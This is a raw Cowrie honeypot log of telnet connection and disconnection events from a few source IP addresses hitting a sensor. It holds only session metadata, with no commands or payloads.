{"eventid":"cowrie.session.closed","duration":30.64721655845642,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:42.284897Z","src_ip":"185.15.23.59","session":"394d21896ed2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.823611974716187,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:42.338259Z","src_ip":"69.6.225.50","session":"3d3b3f3f6321","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.07404136657715,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:43.124216Z","src_ip":"185.15.23.59","session":"c8e268c32f3b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":35970,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c5f39f722ef","protocol":"telnet","message":"New connection: 185.15.23.59:35970 (159.203.135.109:23) [session: 4c5f39f722ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:43.627666Z"}
{"eventid":"cowrie.session.closed","duration":34.42322564125061,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:43.976668Z","src_ip":"144.79.218.12","session":"b2b8719416e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.97728157043457,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:44.448806Z","src_ip":"185.15.23.59","session":"5008edc9ea9e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":37888,"dst_ip":"159.203.135.109","dst_port":23,"session":"201d5e2389fb","protocol":"telnet","message":"New connection: 185.15.23.59:37888 (159.203.135.109:23) [session: 201d5e2389fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:44.477626Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":38032,"dst_ip":"159.203.135.109","dst_port":23,"session":"02c57cd00f7e","protocol":"telnet","message":"New connection: 185.15.23.59:38032 (159.203.135.109:23) [session: 02c57cd00f7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:44.514220Z"}
{"eventid":"cowrie.session.closed","duration":30.75402283668518,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:44.593095Z","src_ip":"185.15.23.59","session":"1ccfd7ff8aeb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.01682424545288,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:44.785889Z","src_ip":"144.79.218.12","session":"22b810e77b80","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.524348735809326,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:45.059798Z","src_ip":"185.15.23.59","session":"b00b72429930","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.16946768760681,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:45.447325Z","src_ip":"185.15.23.59","session":"e9cd4a5258c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":41234,"dst_ip":"159.203.135.109","dst_port":23,"session":"982d7747c6f4","protocol":"telnet","message":"New connection: 185.15.23.59:41234 (159.203.135.109:23) [session: 982d7747c6f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:45.681126Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":41372,"dst_ip":"159.203.135.109","dst_port":23,"session":"9bdc980ccc29","protocol":"telnet","message":"New connection: 185.15.23.59:41372 (159.203.135.109:23) [session: 9bdc980ccc29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:45.717614Z"}
{"eventid":"cowrie.session.closed","duration":30.897289037704468,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:45.769833Z","src_ip":"69.6.225.50","session":"cd5bec6716c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":41572,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5ebcbbd6476","protocol":"telnet","message":"New connection: 185.15.23.59:41572 (159.203.135.109:23) [session: d5ebcbbd6476]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:45.805882Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":44656,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf591daa1e6a","protocol":"telnet","message":"New connection: 144.79.218.12:44656 (10.17.0.5:23) [session: bf591daa1e6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:46.018356Z"}
{"eventid":"cowrie.session.closed","duration":30.252819538116455,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:46.056360Z","src_ip":"69.6.225.50","session":"d0aa4acd1618","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.920004844665527,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:46.096652Z","src_ip":"69.6.225.50","session":"0be909a88e59","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.33432412147522,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:46.112850Z","src_ip":"69.6.225.50","session":"052661f08731","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.99534559249878,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:46.310843Z","src_ip":"185.15.23.59","session":"7f5c1db54297","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":44660,"dst_ip":"10.17.0.5","dst_port":23,"session":"4bbf941ececa","protocol":"telnet","message":"New connection: 144.79.218.12:44660 (10.17.0.5:23) [session: 4bbf941ececa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:46.522625Z"}
{"eventid":"cowrie.session.closed","duration":36.045615434646606,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:46.667373Z","src_ip":"144.79.218.12","session":"41f965fb3751","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":41482,"dst_ip":"159.203.135.109","dst_port":23,"session":"fef081b21c2f","protocol":"telnet","message":"New connection: 69.6.225.50:41482 (159.203.135.109:23) [session: fef081b21c2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:46.710126Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":44662,"dst_ip":"10.17.0.5","dst_port":23,"session":"0af9a53aa8e0","protocol":"telnet","message":"New connection: 144.79.218.12:44662 (10.17.0.5:23) [session: 0af9a53aa8e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:46.806023Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":44422,"dst_ip":"159.203.135.109","dst_port":23,"session":"b27573702b2f","protocol":"telnet","message":"New connection: 185.15.23.59:44422 (159.203.135.109:23) [session: b27573702b2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:46.899739Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":41484,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c0b63a4b0c1","protocol":"telnet","message":"New connection: 69.6.225.50:41484 (159.203.135.109:23) [session: 3c0b63a4b0c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:46.904489Z"}
{"eventid":"cowrie.session.closed","duration":31.950134754180908,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:46.914222Z","src_ip":"185.15.23.59","session":"3c91ba059cee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":44668,"dst_ip":"10.17.0.5","dst_port":23,"session":"369be2aafb81","protocol":"telnet","message":"New connection: 144.79.218.12:44668 (10.17.0.5:23) [session: 369be2aafb81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:47.018922Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":41490,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ca3a83158a8","protocol":"telnet","message":"New connection: 69.6.225.50:41490 (159.203.135.109:23) [session: 6ca3a83158a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:47.090955Z"}
{"eventid":"cowrie.session.closed","duration":30.577198028564453,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:47.105854Z","src_ip":"69.6.225.50","session":"9a8b1c635cdb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.813252925872803,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:47.171841Z","src_ip":"69.6.225.50","session":"072f208ddfb1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.69596028327942,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:47.268252Z","src_ip":"144.79.218.12","session":"e111d2b8235e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":46684,"dst_ip":"159.203.135.109","dst_port":23,"session":"24f3dfb06e5c","protocol":"telnet","message":"New connection: 185.15.23.59:46684 (159.203.135.109:23) [session: 24f3dfb06e5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:47.698769Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":41496,"dst_ip":"159.203.135.109","dst_port":23,"session":"e96606632372","protocol":"telnet","message":"New connection: 69.6.225.50:41496 (159.203.135.109:23) [session: e96606632372]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:47.771894Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":44674,"dst_ip":"10.17.0.5","dst_port":23,"session":"603d65b5720f","protocol":"telnet","message":"New connection: 144.79.218.12:44674 (10.17.0.5:23) [session: 603d65b5720f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:47.821619Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":44682,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5658adba317","protocol":"telnet","message":"New connection: 144.79.218.12:44682 (10.17.0.5:23) [session: b5658adba317]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:47.882526Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":47232,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe69360e3cf7","protocol":"telnet","message":"New connection: 185.15.23.59:47232 (159.203.135.109:23) [session: fe69360e3cf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:47.904435Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":47434,"dst_ip":"159.203.135.109","dst_port":23,"session":"97ea2120c07d","protocol":"telnet","message":"New connection: 185.15.23.59:47434 (159.203.135.109:23) [session: 97ea2120c07d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:47.967322Z"}
{"eventid":"cowrie.session.closed","duration":30.614176988601685,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:48.071000Z","src_ip":"69.6.225.50","session":"6326801acce8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83730936050415,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:48.129022Z","src_ip":"69.6.225.50","session":"95860e0628f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":48488,"dst_ip":"159.203.135.109","dst_port":23,"session":"963a6575d60f","protocol":"telnet","message":"New connection: 185.15.23.59:48488 (159.203.135.109:23) [session: 963a6575d60f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:48.492362Z"}
{"eventid":"cowrie.session.closed","duration":31.318622589111328,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:48.705038Z","src_ip":"69.6.225.50","session":"5b4cf3fdd105","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":44688,"dst_ip":"10.17.0.5","dst_port":23,"session":"26f23c95b531","protocol":"telnet","message":"New connection: 144.79.218.12:44688 (10.17.0.5:23) [session: 26f23c95b531]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:48.743119Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":50122,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3b304a276ad","protocol":"telnet","message":"New connection: 69.6.225.50:50122 (159.203.135.109:23) [session: b3b304a276ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:48.940097Z"}
{"eventid":"cowrie.session.closed","duration":30.491050958633423,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:49.055345Z","src_ip":"69.6.225.50","session":"50056bfb829a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.365734815597534,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:49.148818Z","src_ip":"69.6.225.50","session":"01efcbd8f2fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.591551780700684,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:49.285414Z","src_ip":"185.15.23.59","session":"249014941ee1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":50136,"dst_ip":"159.203.135.109","dst_port":23,"session":"08b07acc164e","protocol":"telnet","message":"New connection: 69.6.225.50:50136 (159.203.135.109:23) [session: 08b07acc164e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:49.419677Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":50146,"dst_ip":"159.203.135.109","dst_port":23,"session":"fae56750d362","protocol":"telnet","message":"New connection: 69.6.225.50:50146 (159.203.135.109:23) [session: fae56750d362]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:49.886331Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":53598,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb684197c977","protocol":"telnet","message":"New connection: 185.15.23.59:53598 (159.203.135.109:23) [session: bb684197c977]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:50.197732Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":53606,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb52bfc3114b","protocol":"telnet","message":"New connection: 185.15.23.59:53606 (159.203.135.109:23) [session: bb52bfc3114b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:50.203966Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":36924,"dst_ip":"10.17.0.5","dst_port":23,"session":"27f078c2a583","protocol":"telnet","message":"New connection: 144.79.218.12:36924 (10.17.0.5:23) [session: 27f078c2a583]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:50.372260Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":53898,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ae5c07155dd","protocol":"telnet","message":"New connection: 185.15.23.59:53898 (159.203.135.109:23) [session: 3ae5c07155dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:50.438741Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":50158,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f142b631665","protocol":"telnet","message":"New connection: 69.6.225.50:50158 (159.203.135.109:23) [session: 9f142b631665]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:50.538740Z"}
{"eventid":"cowrie.session.closed","duration":31.07911705970764,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:50.819620Z","src_ip":"69.6.225.50","session":"cc4239fc81e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":36934,"dst_ip":"10.17.0.5","dst_port":23,"session":"eea0486be2b5","protocol":"telnet","message":"New connection: 144.79.218.12:36934 (10.17.0.5:23) [session: eea0486be2b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:50.916172Z"}
{"eventid":"cowrie.session.closed","duration":33.978731870651245,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:51.266568Z","src_ip":"144.79.218.12","session":"92eade0493c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":56446,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0ca346a790e","protocol":"telnet","message":"New connection: 185.15.23.59:56446 (159.203.135.109:23) [session: c0ca346a790e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:51.302354Z"}
{"eventid":"cowrie.session.closed","duration":30.70881485939026,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:51.592274Z","src_ip":"185.15.23.59","session":"3e6a2c3306f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":50160,"dst_ip":"159.203.135.109","dst_port":23,"session":"816b729e3f68","protocol":"telnet","message":"New connection: 69.6.225.50:50160 (159.203.135.109:23) [session: 816b729e3f68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:51.995082Z"}
{"eventid":"cowrie.session.closed","duration":31.02090573310852,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:52.054571Z","src_ip":"69.6.225.50","session":"747a21ab1643","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.128601551055908,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:52.059465Z","src_ip":"69.6.225.50","session":"a8945d999ee6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":60010,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f71d130af21","protocol":"telnet","message":"New connection: 185.15.23.59:60010 (159.203.135.109:23) [session: 1f71d130af21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:52.704204Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":60632,"dst_ip":"159.203.135.109","dst_port":23,"session":"42ce42f5670d","protocol":"telnet","message":"New connection: 185.15.23.59:60632 (159.203.135.109:23) [session: 42ce42f5670d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:52.924662Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":50162,"dst_ip":"159.203.135.109","dst_port":23,"session":"99233c86475e","protocol":"telnet","message":"New connection: 69.6.225.50:50162 (159.203.135.109:23) [session: 99233c86475e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:53.384527Z"}
{"eventid":"cowrie.session.closed","duration":35.90253400802612,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:53.402144Z","src_ip":"144.79.218.12","session":"718b8e456484","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":50170,"dst_ip":"159.203.135.109","dst_port":23,"session":"61368efdaf0b","protocol":"telnet","message":"New connection: 69.6.225.50:50170 (159.203.135.109:23) [session: 61368efdaf0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:53.493161Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":34610,"dst_ip":"159.203.135.109","dst_port":23,"session":"381525b8de2d","protocol":"telnet","message":"New connection: 185.15.23.59:34610 (159.203.135.109:23) [session: 381525b8de2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:53.786209Z"}
{"eventid":"cowrie.session.closed","duration":37.18291473388672,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:54.016701Z","src_ip":"144.79.218.12","session":"02a20d56a8b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.604082107543945,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:54.024024Z","src_ip":"185.15.23.59","session":"b4e5d7182fe6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":37110,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a12515eab5e","protocol":"telnet","message":"New connection: 185.15.23.59:37110 (159.203.135.109:23) [session: 2a12515eab5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:54.737349Z"}
{"eventid":"cowrie.session.closed","duration":30.794825792312622,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:55.054244Z","src_ip":"69.6.225.50","session":"a9a561d6cab7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.751742124557495,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:55.439250Z","src_ip":"69.6.225.50","session":"4f210e069c1a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.14473009109497,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:55.501029Z","src_ip":"69.6.225.50","session":"d4f7ea71872f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.924022912979126,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:55.834614Z","src_ip":"185.15.23.59","session":"466a6ff95899","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.570343494415283,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:56.068467Z","src_ip":"69.6.225.50","session":"56342bd00990","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":36942,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a70c82e7d71","protocol":"telnet","message":"New connection: 144.79.218.12:36942 (10.17.0.5:23) [session: 7a70c82e7d71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:56.204241Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":41464,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6c2d65158ea","protocol":"telnet","message":"New connection: 185.15.23.59:41464 (159.203.135.109:23) [session: e6c2d65158ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:56.527538Z"}
{"eventid":"cowrie.session.closed","duration":30.448628902435303,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:57.058682Z","src_ip":"69.6.225.50","session":"f5f2f14fa069","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83735156059265,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:57.103940Z","src_ip":"69.6.225.50","session":"7c8d62004fab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":50172,"dst_ip":"159.203.135.109","dst_port":23,"session":"525ec45a7219","protocol":"telnet","message":"New connection: 69.6.225.50:50172 (159.203.135.109:23) [session: 525ec45a7219]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:57.631289Z"}
